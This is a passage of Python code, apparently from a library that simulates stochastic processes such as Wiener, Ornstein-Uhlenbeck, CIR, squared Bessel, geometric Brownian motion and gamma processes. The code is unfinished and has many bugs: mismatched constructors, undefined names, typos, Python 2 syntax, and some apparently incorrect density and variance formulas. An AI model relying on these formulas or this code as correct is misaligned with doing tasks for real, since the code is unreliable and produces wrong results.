sum+=self._transition_pdf(X,self.endTime-t,self.endPosition)*f(X) self.conditional=True """ x = self.sample_position(t, N) mean = (self._transition_pdf(x,self.endTime-t,self.endPosition)*f(x)).mean() return mean/self._transition_pdf(self.startPosition, self.endTime-self.startTime, self.endPosition) def sample_position(self,t, N=1): """ if _get_position_at() is not overwritten in a subclass, this function will use euler scheme """ self._check_time(t) return self._sample_position(t, N) def mean(self,t): self._check_time(t) return self._mean(t) def var(self,t): self._check_time(t) return self._var(t) def sample_path(self,times, N = 1): self._check_time(times[0]) return self._sample_path(times, N) def _sample_path(self,times, N=1 ): return self.Euler_scheme(times, N) def _var(self,t, N = 1e6): """ var = SampleVarStat() for i in range(10000): var.push(self.generate_position_at(t)) return var.get_variance() """ return self.sample_position(t, n).var() def _mean(self,t): return self.expected_value( t) def _sample_position(self,t): return self.Euler_scheme(t) def _transition_pdf(self,x,t,y): warning.warn( "Attn: transition pdf not defined" ) def _check_time(self,t): if t<self.startTime: warnings.warn( "Attn: inputed time not valid (check if beginning time is less than startTime)." ) def Euler_scheme(self, times,delta=0.001): """ times is an array of floats. The process needs the methods drift() and diffusion() defined. """ warnings.warn("Attn: starting an Euler scheme to approxmiate process.") Nor = stats.norm() finalTime = times[-1] steps = int(finalTime/delta) t = self.startTime x=self.startPosition path=[] j=0 time = times[j] for i in xrange(steps): if t+delta>time>t: delta = time-t x += drift(x,t)*delta + np.sqrt(delta)*diffusion(x,t)*Nor.rvs() path.append((x,time)) delta=0.001 j+=1 time = times[j] else: x += drift(x,t)*delta + np.sqrt(delta)*diffusion(x,t)*Nor.rvs() t += delta return path def Milstein_Scheme(self, times, delta = 0.01 ): if not all( map( lambda x: hasattr(self, x), ( 'drift', 'diffusion', 'diffusion_prime' ) ) ): raise AttributeError("The process does not have 'drift', 'diffusion', or 'diffusion_prime' methods") pass def plot(self, times ,N=1, **kwargs): assert N >= 1, "N must be greater than 0." try: self._check_time(times[-1] ) plt.plot(times, self.sample_path(times, N).T, **kwargs ) except: self._check_time(times) times = np.linspace(self.startTime, times, 100) path = self.sample_path(times, N).T plt.plot(times, path, **kwargs ) plt.xlabel( "time, $t$") plt.ylabel( "position of process") plt.show() return class Wiener_process(Diffusion_process): """ This implements the famous Wiener process. I choose not to call it Brownian motion, as brownian motion is a special case of this with 0 drift and variance equal to t. dW_t = mu*dt + sigma*dB_t W_t ~ N(mu*t, sigma**2t) parameters: mu: the constant drift term, float sigma: the constant volatility term, float > 0 """ def __init__(self, mu, sigma, startTime = 0, startPosition = 0, endPosition = None, endTime = None): super(Wiener_process,self).__init__(startTime, startPosition, endTime, endPosition) self.mu = mu self.sigma = sigma self.Nor = stats.norm() def _transition_pdf(self,x,t,y): return np.exp(-(y-x-self.mu*(t-self.startTime))**2/(2*self.sigma**2*(t-self.startTime)))\ /np.sqrt(2*pi*self.sigma*(t-self.startTime)) def _mean(self,t): if self.conditional: delta1 = t - self.startTime delta2 = self.endTime - self.startTime return self.startPosition + self.mu*delta1 + (self.endPosition-self.startPosition-self.mu*delta2)*delta1/delta2 else: return self.startPosition+self.mu*(t-self.startTime) def _var(self,t): if self.conditional: delta1 = self.sigma**2*(t-self.startTime)*(self.endTime-t) delta2 = self.endTime-self.startTime return delta1/delta2 else: return self.sigma**2*(t-self.startTime) def _sample_position(self,t, n=1): """ This incorporates both conditional and unconditional """ return self.mean(t) + np.sqrt(self.var(t))*self.Nor.rvs(n) def _sample_path(self,times, N = 1): path=np.zeros( (N,len(times)) ) path[ :, 0] = self.startPosition times = np.insert( times, 0,self.startTime) deltas = np.diff( times ) if not self.conditional: path += np.random.randn( N, len(times)-1 )*self.sigma*np.sqrt(deltas) + self.mu*deltas return path.cumsum(axis=1) else: """ Alternatively, this can be accomplished by sampling directly from a multivariate normal given a linear projection. Ie N | N dot 1 = endPosition ~ Nor( 0, Sigma ), where Sigma is a diagonal matrix with elements proportional to the delta. This only problem with this is Sigma is too large for very large len(times). """ T = self.endTime - self.startTime x = self.startTime for i, delta in enumerate( deltas ): x = x*(1-delta/T)+(self.endPosition - self.startPosition)*delta/T + self.sigma*np.sqrt(delta/T*(T-delta))*self.Nor.rvs(N) T = T - delta path[:,i] = x if abs(T -0)<1e-10: path[:,-1] = (self.endPosition - self.startPosition) path = path + self.startPosition return path def generate_max(self,t): pass def generate_min(self,t): pass def drift(t,x): return self.mu def diffusion(t,x): return self.sigma def diffusion_prime(t,x): return 0 #have a Vasicek model that has an alternative parameterizatiom but essentially just maps to OU_process class OU_process(Diffusion_process): """ The Orstein-Uhlenbeck process is a mean reverting model that is often used in finance to model interest rates. It is also known as a Vasicek model. It is defined by the SDE: dOU_t = theta*(mu-OU_t)*dt + sigma*dB_t$ The model flucuates around its long term mean mu. mu is also a good starting Position of the process. There exists a solution to the SDE, see wikipedia. parameters: theta: float > 0 mu: float sigma: float > 0 """ def __init__(self, theta, mu, sigma, startTime = 0, startPosition = 0, endPosition = None, endTime = None ): assert sigma > 0 and theta > 0, "theta > 0 and sigma > 0." super(OU_process, self).__init__(startTime, startPosition, endTime, endPosition) self.theta = theta self.mu = mu self.sigma = sigma self.Normal = stats.norm() def _mean(self,t): if self.conditional: return super(OU_process,self)._mean(t) #TODO else: return self.startPosition*np.exp(-self.theta*(t-self.startTime))+self.mu*(1-np.exp(-self.theta*(t-self.startTime))) def _var(self,t): if self.conditional: return super(OU_process,self)._get_variance_at(t) else: return self.sigma**2*(1-np.exp(-2*self.theta*t))/(2*self.theta) def _transition_pdf(self,x,t,y): mu = x*np.exp(-self.theta*t)+self.mu*(1-np.exp(-self.theta*t)) sigmaSq = self.sigma**2*(1-np.exp(-self.theta*2*t))/(2*self.theta) return np.exp(-(y-mu)**2/(2*sigmaSq))/np.sqrt(2*pi*sigmaSq) def _sample_position(self,t): if not self.conditional: return self.get_mean_at(t)+np.sqrt(self.get_variance_at(t))*self.Normal.rvs() else: #this needs to be completed return super(OU_process,self)._generate_position_at(t) def sample_path(self,times, N= 1, return_normals = False): "the parameter Normals = 0 is used for the Integrated OU Process" if not self.conditional: path=np.zeros( (N,len(times)) ) times = np.insert( times, 0,self.startTime) path[ :, 0] = self.startPosition deltas = np.diff(times ) normals = np.random.randn( N, len(times)-1 ) x = self.startPosition*np.ones( N) sigma = np.sqrt(self.sigma**2*(1-np.exp(-2*self.theta*deltas))/(2*self.theta)) for i, delta in enumerate(deltas): mu = self.mu + np.exp(-self.theta*delta)*(x-self.mu) path[:, i] = mu + sigma[i]*normals[:,i] x = path[:,i] """ It would be really cool if there was a numpy func like np.cumf( func, array ) that applies func(next_x, prev_x) to each element. For example, lambda x,y: y + x is the cumsum, and lambda x,y: x*y is the cumprod function. """ if return_normals: return (path, normals ) else: return path else: #TODO path = bridge_creation(self,times) return path def drift(self, x, t): return self.theta*(self.mu-x) def diffusion( self, x,t ): return self.sigma class Integrated_OU_process(Diffusion_process): """ The time-integrated Orstein-Uhlenbeck process $IOU_t = IOU_0 + \int_0^t OU_s ds$ where $dOU_t = \theta*(\mu-OU_t)*dt + \sigma*dB_t, OU_0 = x0$ parameters: {theta:scalar > 0, mu:scalar, sigma:scalar>0, x0:scalar} modified from http://www.fisica.uniud.it/~milotti/DidatticaTS/Segnali/Gillespie_1996.pdf """ def __init__(self, parameters, time_space_constraints): super(Integrated_OU_process,self).__init__( time_space_constraints) self.OU = OU_process({"theta":parameters["theta"], "mu":parameters["mu"], "sigma":parameters["sigma"]}, {"startTime":time_space_constraints["startTime"], "startPosition":parameters["x0"]}) for p in parameters: setattr(self, p, float(parameters[p])) self.Normal = stats.norm() def _get_mean_at(self,t): delta = t - self.startTime if self.conditional: pass else: return self.startPosition + (self.x0-self.mu)/self.theta + self.mu*delta\ -(self.x0-self.mu)*np.exp(-self.theta*delta)/self.theta def _get_variance_at(self,t): delta = t - self.startTime if self.conditional: pass else: return self.sigma**2*(2*self.theta*delta-3+4*np.exp(-self.theta*delta) -2*np.exp(-2*self.theta*delta))/(2*self.sigma**3) def _generate_position_at(self,t): if self.conditional: pass else: return self.get_mean_at(t)+np.sqrt(self.get_variance_at(t))*self.Normal.rvs() def _transition_pdf(self,x,t,y): mu = x + (self.x0 - self.mu)/self.theta + self.mu*t - (self.x0-self.mu)*np.exp(-self.theta*t)/self.theta sigmaSq = self.sigma**2*(2*self.theta*t-3+4*np.exp(-self.theta*t)-2*np.exp(-2*self.theta*t))/(2*self.sigma**3) return np.exp(-(y-mu)**2/(2*sigmaSq))/np.sqrt(2*pi*sigmaSq) def generate_sample_path(self,times, returnUO = 0): "set returnUO to 1 to return the underlying UO path as well as the integrated UO path." if not self.conditional: xPath, listOfNormals = self.OU.generate_sample_path(times, 1) path = [] t = self.startTime y = self.startPosition for i, position in enumerate(xPath): delta = position[0]-t x = position[1] if delta != 0: #there is an error here, I can smell it. sigmaX = self.sigma**2*(1-np.exp(-2*self.theta*delta))/(2*self.theta) sigmaY = self.sigma**2*(2*self.theta*delta-3+4*np.exp(-self.theta*delta) -np.exp(-2*self.theta*delta))/(2*self.sigma**3) muY = y + (x-self.mu)/self.theta + self.mu*delta-(x-self.mu)*np.exp(-self.theta*delta)/self.theta covXY = self.sigma**2*(1+np.exp(-2*self.theta*delta)-2*np.exp(-self.theta*delta))/(2*self.theta**2) y = muY + np.sqrt(sigmaY - covXY**2/sigmaX)*self.Normal.rvs()+ covXY/np.sqrt(sigmaX)*listOfNormals[i] t = position[0] path.append((t,y)) if returnUO==0: return path else: return path, xPath else: path = bridge_creation(self,times) if returnUO==0: return path else: return path, xPath def _process2latex(self): return """$IOU_t = IOU_0 + \int_0^t OU_s ds \text{where} dOU_t = %.3f(%.3f-OU_t)dt + %.3fdB_t, OU_0 = x0 """ %(self.theta, self.mu, self.sigma) class SqBessel_process(Diffusion_process): """ The (lambda0 dimensional) squared Bessel process is defined by the SDE: dX_t = lambda_0*dt + nu*sqrt(X_t)dB_t parameters: lambda_0: float, nu: float > 0 Attn: startPosition and endPosition>0 Based on R.N. Makarov and D. Glew's research on simulating squared bessel process. See "Exact Simulation of Bessel Diffusions", 2011. """ def __init__(self, lambda_0, nu, startTime = 0, startPosition = 1, endTime = None, endPosition = None ): super(SqBessel_process, self).__init__(startTime, startPosition, endTime, endPosition) try: self.endPosition = 4.0/parameters["nu"]**2*self.endPosition self.x_T = self.endPosition except: pass self.x_0 = 4.0/nu**2*self.startPosition self.nu = nu self.lambda0 = lambda_0 self.mu = 2*float(self.lambda0)/(self.nu*self.nu)-1 self.Poi = stats.poisson self.Gamma = stats.gamma self.Nor = stats.norm self.InGamma = IncompleteGamma def generate_sample_path(self,times,absb=0): """ absb is a boolean, true if absorbtion at 0, false else. See class' __doc__ for when absorbtion is valid. """ if absb: return self._generate_sample_path_with_absorption(times) else: return self._generate_sample_path_no_absorption(times) def _transition_pdf(self,x,t,y): try: return (y/x)**(0.5*self.mu)*np.exp(-0.5*(x+y)/self.nu**2/t)/(0.5*self.nu**2*t)*iv(abs(self.mu),4*np.sqrt(x*y)/(self.nu**2*t)) except AttributeError: print "Attn: nu must be known and defined to calculate the transition pdf." def _generate_sample_path_no_absorption(self, times): "mu must be greater than -1. The parameter times is a list of times to sample at." if self.mu<=-1: print "Attn: mu must be greater than -1. It is currently %f."%self.mu return else: if not self.conditional: x=self.startPosition t=self.startTime path=[] for time in times: delta=float(time-t) try: y=self.Poi.rvs(0.5*x/delta) x=self.Gamma.rvs(y+self.mu+1)*2*delta except: pass path.append((time,x)) t=time else: path = bridge_creation(self, times, 0) return path return [(p[0],self.rescalePath(p[1])) for p in path] def _generate_sample_path_with_absorption(self,times): "mu must be less than 0." if self.mu>=0: print "Attn: mu must be less than 0. It is currently %f."%self.mu else: if not self.conditional: path=[] X=self.startPosition t=self.startTime tauEst=times[-1]+1 for time in times: delta = float(time - t) if tauEst>times[-1]: p_a = gammaincc(abs(self.mu),0.5*X/(delta)) if np.random.rand() < p_a: tauEst = time if time<tauEst: Y = self.InGamma.rvs(abs(self.mu),0.5*X/(delta)) X = self.Gamma.rvs(Y+1)*2*delta else: X=0 t=time path.append((t,X)) else: path = bridge_creation(self, times, 1) return [(p[0],self.rescalePath(p[1])) for p in path] def _generate_position_at(self,t): p = self.generate_sample_path([t]) return p[0][1] def generate_sample_FHT_bridge(self,times): "mu must be less than 0. This process has absorption at L=0. It simulates the absorption at 0 at some random time, tao, and creates a bridge process." if self.mu>0: print "mu must be less than 0. It is currently %f."%self.mu else: X=self.startPosition t=self.t_0 path=[] FHT=self.startPosition/(2*self.Gamma.rvs(abs(self.mu))) for time in times: if time<FHT: d=(FHT-t)*(time-t) Y=self.Poi.rvs(X*(FHT-time)/(2*d)) X=self.Gamma.rvs(Y-self.mu+1)*d/(FHT-t) else: X=0 t=time path.append((t,X)) return [(p[0],self.rescalePath(p[1])) for p in path] def rescalePath(self,x): #All of the simulation algorithms assume nu=2, so we must # rescale the process to output a path that is has the user specified # nu. Note that this rescaling does not change mu. return self.nu**2/4.0*x class CIR_process(Diffusion_process): """ The CIR process is defined by dCIR_t = (lambda_0 - lambda_1*CIR_t)dt + nu*np.sqrt(CIR_t)*dB_t Due to the nature of this interface, absorption at 0 is impossible. See the PyProcess library for the ability to aborb at 0. This is a mean reverting process if both lambdas are positive: the process flucuates around lambda_0/lambda_1 parameters: {lambda_0:scalar, lambda_1:scalar, nu:scalar>0} """ def __init__(self, parameters, space_time_constraints): super(CIR_process,self).__init__(space_time_constraints) for p in parameters: setattr(self, p, float(parameters[p])) self.Normal = stats.norm() #transform the space time positions _space_time_constraints = {} _space_time_constraints['startTime'] = self._time_transformation(space_time_constraints['startTime']) _space_time_constraints['startPosition'] = self._inverse_space_transformation(space_time_constraints['startTime'], space_time_constraints['startPosition']) try: _space_time_constraints['endPosition'] = self._inverse_space_transformation(space_time_constraints['endTime'], space_time_constraints['endPosition']) _space_time_constraints['endTime'] = self._time_transformation(space_time_constraints['endTime']) except: pass self.SqB = SqBessel_process({"lambda0":parameters["lambda_0"], "nu":parameters["nu"]}, _space_time_constraints) #need to change start position for non-zero startTime self.mu=self.SqB.mu def _process2latex(self): return """ $dCIR_t = (%.3f - %.3fCIR_t)dt + %.3f\np.sqrt(CIR_t)dB_t$ """%(self.lambda_0, self.lambda_1, self.nu) def _transition_pdf(self,x,t,y): return np.exp(self.lambda_1*t)*SqB._transition_pdf(x,self._time_transformation(t), np.exp(self.lambda_1*t)*y) def generate_sample_path(self, times, abs=0): "abs is a boolean: true if desire nonzero probability of absorption at 0, false else." #first, transform times: transformedTimes = [self._time_transformation(t) for t in times] path = self.SqB.generate_sample_path(transformedTimes,abs) tpath = [self._space_transformation(times[i],p[1]) for i,p in enumerate(path) ] path=[] for i in xrange(len(tpath)): path.append((times[i],tpath[i])) return path def _generate_position_at(self,t): t_prime = self._time_transformation(t) x = self.SqB.generate_position_at(t_prime) return self._space_transformation(t,x) def _time_transformation(self,t): if self.lambda_1==0: return t else: return (np.exp(self.lambda_1*t)-1)/self.lambda_1 def _space_transformation(self,t,x): return np.exp(-self.lambda_1*t)*x def _inverse_space_transformation(self,t,x): return np.exp(self.lambda_1*t)*x def _inverse_time_transformation(self, t): if self.lambda_1==0: return t else: return np.log(self.lambda_1*t+1)/self.lambda_1 def _get_mean_at(self,t): pass def _get_variance_at(self,t): pass class CEV_process(Diffusion_process): """ defined by: $$dCEV = rCEVdt + \deltaCEV^{\beta+1}dW_t$$ parameters: {r: scalar, delta:scalar>0, beta:scalar<0} #typically beta<=-1/2 """ def __init__(self,parameters, time_space_constraints): super(CEV_process,self).__init__(time_space_constraints) for p in parameters: setattr(self, p, parameters[p]) time_space_constraints["startPosition"]=self.CEV_to_SqB(self.startPosition) self.SqB = SqBessel_process({"lambda0":(2-1/self.beta), "nu":2}, time_space_constraints) def _process2latex(self): return """ $dCEV_t = %.3fCEVdt + %.3fCEV^{\%.3f + 1}dB_t$ """%(self.r, self.delta, self.beta) def _time_transform(self,t): if self.r*self.beta==0: return t else: return (np.exp(self.r*self.beta*2*t)-1)/(self.r*self.beta*2) def CEV_to_SqB(self,x): return x**(-2*self.beta)/(self.delta*self.beta)**2 def _scalar_space_transform(self,t,x): return np.exp(self.r*t)*x def SqB_to_CEV(self,x): ans = (self.delta**2*self.beta**2*x)**(-1/(2.0*self.beta)) return ans def generate_sample_path(self,times, abs=0): if self.r==0: SqBPath = self.SqB.generate_sample_path(times, abs) return [(x[0],self.SqB_to_CEV(x[1])) for x in SqBPath] else: transformedTimes = [self._time_transform(t) for t in times] SqBPath = self.SqB.generate_sample_path(transformedTimes, abs) tempPath = [self.SqB_to_CEV(x[1]) for x in SqBPath] return [(times[i], self._scalar_space_transform(times[i], p) ) for i,p in enumerate(tempPath)] def _generate_position_at(self,t): if self.r==0: SqBpos = self.SqB.generate_position_at(t) return self.SqB_to_CEV(SqBpos) else: transformedTime = self._time_transform(t) SqBpos = self.SqB.generate_position_at(transformedTime) return self._scalar_space_transform(t,self.SqB_to_CEV(SqBpos)) class Periodic_drift_process(Diffusion_process): """ dX_t = psi*sin(X_t + theta)dt + dBt parameters: {psi:scalar>0, theta:scalar>0} This cannot be conditioned on start or end conditions. Extensions to come. """ def __init__(self, parameters, space_time_constraints): """Note that space-time constraints cannot be given""" space_time_constraints = {"startTime":0, "startPosition":0} super(Periodic_drift_process,self).__init__(space_time_constraints) self.psi = parameters["psi"] self.theta = parameters["theta"] self._findBounds() self.BB = Wiener_process({"mu":0, "sigma":1}, space_time_constraints) self.Poi = Marked_poisson_process({"rate":1, "U":self.max, "L":self.min, "startTime":0}) #need to create marked poisson process class self.Nor = stats.norm self.Uni = stats.uniform() def _process2latex(self): return """ $dX_t = %.3f*sin(X_t + %.3f)dt + dB_t$ """%(self.psi, self.theta) def __generate_sample_path(self,T,x): #generates a path of length 2. This is for efficiency issues self.BB.startPosition=x while (True): #produce a marked poisson process markedProcess = self.Poi.generate_marked_process(T) #generate end point using an AR scheme while (True): N = x+ np.sqrt(T)*self.Nor.rvs() U = self.Uni.rvs() if U<=np.exp(-self.psi*cos(N-self.theta)+self.psi): break self.BB.endPosition = N #generate brownian bridge try: skeleton = self.BB.generate_sample_path([p[0] for p in markedProcess]) except: skeleton = [] transformSkeleton = [self.phi(p[1]) for p in skeleton] #calculate indicators I=1 for i in xrange(len(transformSkeleton)): if transformSkeleton[i]>markedProcess[i][1]: I=0 break #check indicators if I==1: return N, skeleton + [(T,N)] def generate_sample_path(self,times): "currently will only return a random path before time T. Can be connected by brownian bridges" #this algorithm uses the EA1 algorithm by Beskos and # Roberts on exact simulation of diffusions. It's an AR algorithm. # For some parameters, the probability of acceptance can be very low. time = 0 endPoint = 0 skeleton=[] T = times[-1] while time<T: if time+2<T: delta=2 else: delta = T-time endPoint, tempSkeleton = self.__generate_sample_path(delta,endPoint) tk = [(time + x[0],x[1]) for x in tempSkeleton] skeleton+=tk time+=2 return self._construct_path_from_skeleton([(0,self.startPosition)]+skeleton, times) def _construct_path_from_skeleton(self, skeleton, times): i=0 path=[] self.BB.startPosition = self.startPosition self.BB.startTime = self.startTime for (tao,x) in skeleton[1:]: self.BB.endPosition = x self.BB.endTime = tao temptimes = [] while ( i<len(times) ) and (times[i] <= tao): temptimes.append(times[i]) i+=1 for p in self.BB.generate_sample_path(temptimes): path.append(p) self.BB.startPosition = x self.BB.startTime = tao return path def _findBounds(self): if self.psi<=.5: self.max = self.psi else: self.max = 0.125+0.5*(self.psi*self.psi+self.psi) self.min = -self.psi*.5 def phi(self,x): return (0.5*self.psi*self.psi*sin(x-self.theta)**2+0.5*self.psi*cos(x-self.theta)-self.min)/self.max class GBM_process(Diffusion_process): """ Geometric Brownian Motion process is defined by the SDE dGBM_t = mu GBM_tdt + sigma GBM_t dW_t and has general solution GBM_t = GBM_0 exp( (mu - 0.5sigma^2)t + sigma W_t) You can use this to reparamertize the sde above. parameters: mu: float sigma: float """ def __init__(self, mu, sigma, startPosition = 1, startTime = 0, endPosition = None, endTime = None): super(GBM_process,self).__init__(startTime, startPosition, endTime, endPosition) self.mu = mu self.sigma = sigma self.Nor = stats.norm(0,1) try: wienerConstraints = {"startTime":self.startTime, "endTime":self.endTime, "startPosition":0, "endPosition":np.log(self.endPosition/self.startPosition)} except: wienerConstraints = {"startTime":self.startTime, "startPosition":0} self.wiener = Wiener_process( mu = (self.mu-0.5*self.sigma**2), sigma = self.sigma, **wienerConstraints) def _mean(self,t): if not self.conditional: return self.startPosition*np.exp(self.mu*t) else: delta = self.endPosition - self.startPosition return self.startPosition*np.exp(-0.5*(self.sigma*t)**2/delta+self.Weiner.endPosition*t/delta) def _transition_pdf(self,x,t,y): delta = t - self.startTimee d = (self.mu - 0.5*self.sigma**2) return x/(y*np.sqrt(2*Pi*self.sigma**2**delta))*np.exp(-(np.log(y/x)-d)**2/(2*self.sigma**2*delta)) def _var(self,t): if not self.conditional: return self.startPosition**2*np.exp(2*self.mu*t)*(np.exp(self.sigma**2*t)-1) else: X=np.log(self.endPosition/self.startPosition)-(self.mu-0.5*(self.sigma**2))*T X=X/self.sigma delta = self.endTime-self.startTime return self.startPosition**2*np.exp(2*self.mu*t-self.sigma**2*t + self.sigma*t/delta*(self.sigma*(delta-T)+2*X))*(np.exp(self.sigma**2*(delta-t)*t/delta)-1) def _sample_position(self,t, N = 1): return self.startPosition*np.exp( self.wiener.sample_position(t,N) ) def _sample_path(self,times, N = 1): return self.startPosition*np.exp(self.wiener.sample_path(times, N) ) def drift(self, x, t): return self.mu*x def diffusion(self,x,t): return self.sigma*x class Custom_diffusion(Diffusion_process): """ simulates the diffusion: dX_t = a(X_t,t)*dt + b(X_t,t)*dW_t where a and b are inputed functions parameters: {a:time and space function, b:nonnegative time and space function} Ex: def f1(x,t): return x^2-t def f2(x,t): return np.sqrt(x) param = {"a":f1, "b":f2} The superclass Diffusion_process contains most of the methods for this class. See it's documentation for all. """ def __init__(self,parameters,space_time_constraints): super(Custom_diffusion, self).__init__(space_time_constraints) self.drift = parameters["a"] self.diffusion = parameters["b"] class Jump_Diffusion_process(object): def __init__(self,dict): try: self.startTime = dict["startTime"] self.startPosition = dict["startPosition"] self.conditional=False if dict.has_key("endTime"): self.endTime = dict["endTime"] self.endPosition = dict["endPosition"] self.conditional=True except KeyError: print "Missing constraint in initial\end value dictionary. Check spelling?" def transition_pdf(self,t,y): "this method calls self._transition_pdf(x) in the subclass" self._check_time(t) if not self.conditional: return self._transition_pdf(self.startPosition, t-self.startTime, y) else: return self._transition_pdf(self.startPosition, t-self.startTime, y)*self._transition_pdf(y, self.endTime-t, self.endPosition)\ /self._transition_pdf(self.startPosition,self.endTime - self.startTime, self.endPosition) def expected_value(self,f,t,N): "uses a monte carlo approach to evaluate the expected value of the process f(X_t). N is the number of iterations. The parameter f\ is a univariate python function." print "Attn: performing a Monte Carlo simulation..." self._check_time(t) if not self.conditional: sum=0 for i in xrange(N): sum+=f(self.generate_position_at(t)) return sum/N else: #This uses a change of measure technique. sum=0 self.conditional=False for i in xrange(N): X = self.generate_position_at(t) sum+=self._transition_pdf(X,self.endTime-t,self.endPosition)*f(X) self.conditional=True return sum/(N*self._transition_pdf(self.startPosition, self.endTime-self.startTime, self.endPosition)) def generate_position_at(self,t): "if _get_position_at() is not overwritten in a subclass, this function will use euler scheme" self._check_time(t) if self.startTime<t: return self._generate_position_at(t) def get_mean_at(self,t): self._check_time(t) return self._get_mean_at(t) def get_variance_at(self,t): self._check_time(t) return self._get_variance_at(t) def generate_sample_path(self,times): '"times" is a list of times, with the first time greater than initial time."' self._check_time(times[0]) return self._generate_sample_path(times) def _generate_sample_path(self,times): "I need some way to use a euler scheme AND evaluate the approximation at t in times" pass def _get_variance_at(self,t): var = SampleVarStat() simulations = 10000 for i in xrange(simulations): var.push(self.generate_position_at(t)) return var.get_variance_at() def _get_mean_at(self,t): "if _get_mean_at() is not overwritten, then we use MC methods; 100000 iterations" def id(x): return x return self.expected_value(id, t, 100000) def _generate_position_at(self,T,delta=0.001): return self.Euler_scheme(t,return_array=False) def _transition_pdf(self,x,t,y): print "Attn: transition pdf not defined" def _check_time(self,t): if t<self.startTime: print "Attn: inputed time not valid (check if beginning time is less than startTime)." class Gamma_process(Jump_Diffusion_process): """ Defined by G(t+h) - G(t) is distributed as a Gamma random variable. parameters: {"mean":scalar>0, "variance":scalar>0} or {"rate":scalar>0, "size":scalar>0} Under the first parameterization: E[G(t)] = mean*t, Var(G(t)) = variance*t Under the second parameterization: G(t+1) - G(t) ~ Gamma(rate, size) where Gamma has pdf [size^(-rate)/gamma(rate)]*x^(rate-1)*np.exp(-x/size) see http://eprints.soton.ac.uk/55793/1/wsc03vg.pdf for details on this process. """ def __init__(self, parameters, time_space_constraints): super(Gamma_process,self).__init__(time_space_constraints) try: self.mean = float(parameters["rate"]/parameters["size"]) self.variance = float(self.mean/parameters["size"]) except KeyError: self.mean = float(parameters["mean"]) self.variance = float(parameters["variance"]) self.gamma = stats.gamma self.beta = stats.beta def _generate_position_at(self,t): if not self.conditional: return self.startPosition + self.gamma.rvs(self.mean**2*(t-self.startTime)/self.variance)*self.mean/self.variance else: return self.startPosition + (self.endPosition-self.startPosition)*self.beta.rvs((t-self.startTime)/self.variance, (self.endTime-t)/self.variance) def _get_mean_at(self,t): "notice the conditional is independent of self.mean." if self.conditional: return self.startPosition + (self.endPosition-self.startPosition)*(t- self.startTime)/(self.endTime - self.startTime) else: return self.startPosition + self.mean*(t-self.startTime) def _get_variance_at(self,t): if self.conditional: alpha = (t-self.startTime)/self.variance beta = (self.endTime-t)/self.variance return (self.endPosition-self.startPosition)**2(alpha*beta)/(alpha+beta)**2/(alpha+beta+1) else: return self.variance*(t-self.startTime) def _generate_sample_path(self,times): if not self.conditional: t = self.startTime x = self.startPosition path=[] for time in times: delta = time - t try: g = self.gamma.rvs(self.mean**2*delta/self.variance)*self.variance/self.mean x = x + g except ValueError: pass t = time path.append((t,x)) return path else: x = self.startPosition t = self.startTime path=[] for time in times: delta1 = time -t delta2 = self.endTime - time if (delta1!=0 and delta2!=0): b = (self.endPosition-x)*self.beta.rvs(delta1/self.variance,delta2/self.variance) elif delta1 == 0: b = 0 else: b = self.endTime - x x = x + b t = time path.append((t,x)) return path def _transition_pdf(self,x,t,y): return self.variance/self.mean*self.gamma.pdf((y-x)*self.mean/self.variance*t,self.mean**2/self.variance) class Gamma_variance_process(Jump_Diffusion_process): """ The Gamma variance process is a brownian motion subordinator: VG_t = mu*G_t(t,a,b) + sigma*B_{G_t(t,a,b)} i.e. VG process is a time transformed brownian motion plus a scalar drift term. It can also be represented by the difference of two gamma processes. Note: currently, if conditional, endPosition=0. Further extensions will be to make this nonzero. parameters: {mu:scalar, sigma:scalar>0, variance:scalar>0} or {mu:scalar, sigma:scalar>0, rate:scalar>0} *note the mean of the gamma process is 1, hence the reduction of parameters needed. The parameterization depends on the way you parameterize the underlying gamma process. See http://www.math.nyu.edu/research/carrp/papers/pdf/VGEFRpub.pdf" """ def __init__(self,parameters, space_time_constraints): super(Gamma_variance_process,self).__init__(space_time_constraints) try: self.variance=v = float(parameters["variance"]) except KeyError: self.variance=v = 1/float(parameters["rate"]) self.sigma=s = float(parameters["sigma"]) self.mu= m = float(parameters["mu"]) self.mu1 = 0.5*np.sqrt(m**2 + 2*s**2/v)+m/2 self.mu2 = 0.5*np.sqrt(m**2 + 2*s**2/v)-m/2 self.var1 = self.mu1**2*v self.var2 = self.mu2**2*v self.GamPos = Gamma_process({"mean":self.mu1,"variance":self.var1}, space_time_constraints) self.GamNeg = Gamma_process({"mean":self.mu2, "variance":self.var2}, space_time_constraints) def _get_mean_at(self,t): return self.GamPos.get_mean_at(t)-self.GamNeg.get_mean_at(t) def _get_variance_at(self,t): return self.GamPos.get_variance_at(t)+self.GamNeg.get_variance_at(t) def _generate_position_at(self,t): x = self.GamPos.generate_position_at(t) y = self.GamNeg.generate_position_at(t) return x-y def _generate_sample_path(self,times): path=[] pathPos = self.GamPos.generate_sample_path(times) pathNeg = self.GamNeg.generate_sample_path(times) for i,time in enumerate(times): path.append((time, pathPos[i][1] - pathNeg[i][1])) return path def _transition_pdf(self,x,t,y): alpha1=self.mu1**2*t/self.var1 beta1 = self.var1/self.mu2 alpha2 = self.mu2**2*t/self.var2 beta2 = self.var2/self.mu2 return np.exp(-(y-x)) class Geometric_gamma_process(Jump_Diffusion_process): """ the geometric gamma process has the representation GG_0*np.exp(G_t) where G_t is a gamma process. parameters {mu: scalar, sigma: scalar>0 } The parameters refer to the parameters in the gamma process (mu = mean, sigma = variance) (see gamma_process documentation for more details). """ def __init__(self, parameters, space_time_constraints): super(Geometric_gamma_process, self).__init__(space_time_constraints) self.mu = float(parameters["mu"]) self.sigma = float(parameters["sigma"]) try: self.gammaProcess = Gamma_process({"mean":self.mu, "variance":self.sigma}, {"startPosition":0, "startTime":0, "endTime":self.endTime, "endPosition":np.log(self.endPosition/self.startPosition)}) except: self.gammaProcess = Gamma_process({"mean":self.mu, "variance":self.sigma}, {"startPosition":0, "startTime":0}) def _transition_pdf(self,z,t,x): "as this is a strictly increasing process, the condition x<z must hold" alpha = self.mu**2*t/self.sigma beta = self.sigma/self.mu return (np.log((z-x)/self.startPosition))**(alpha-1)*((z-x)/self.startPosition)**(-1/beta)/((z-x)*beta**alpha*gamma(alpha)) def _get_mean_at(self,t): if self.conditional: pass else: if self.sigma<self.mu: #this condition gauruntees the expectation exists return self.startPosition*(1-self.sigma/self.mu)**(-self.mu**2*(t-self.startTime)/self.sigma) else: print "Attn: does not exist." return "DNE" def _generate_sample_path(self,times): return [(p[0],self.startPosition*np.exp(p[1])) for p in self.gammaProcess.generate_sample_path(times)] def _generate_position_at(self,t): return np.exp(self.gammaProcess.generate_position_at(t)) class Inverse_Gaussian_process(Jump_Diffusion_process): 